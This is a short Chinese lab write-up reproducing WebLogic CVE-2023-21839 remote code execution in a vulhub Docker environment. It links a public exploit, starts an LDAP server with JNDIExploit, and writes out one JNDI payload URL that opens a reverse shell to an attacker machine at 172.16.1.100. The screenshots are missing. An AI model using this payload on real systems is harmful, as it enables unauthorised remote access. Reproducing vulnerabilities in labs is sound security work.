Weblogic-CVE-2023-21839-远程代码执行复现

蔚落 2024-05-23 14:15 133阅读 0赞

Weblogic-CVE-2023-21839-远程代码执行复现

前言:

docker+vulhub
在这里插入图片描述
访问靶机:在这里插入图片描述

漏洞验证:

exp:https://github.com/4ra1n/CVE-2023-21839
在这里插入图片描述
dnslog:
在这里插入图片描述

漏洞利用:——反弹shell到攻击机(kali)

JNDIExploit-1.2-SNAPSHOT.jar开启ldap:
在这里插入图片描述
发送反弹shellpayload:

  1. ldap://172.16.1.100:1389/Basic/ReverseShell/ReverseShell/172.16.1.100/2233

成功反弹shell
在这里插入图片描述

发表评论

表情:
评论列表 (有 0 条评论,133人围观)

还没有评论,来说两句吧...

相关阅读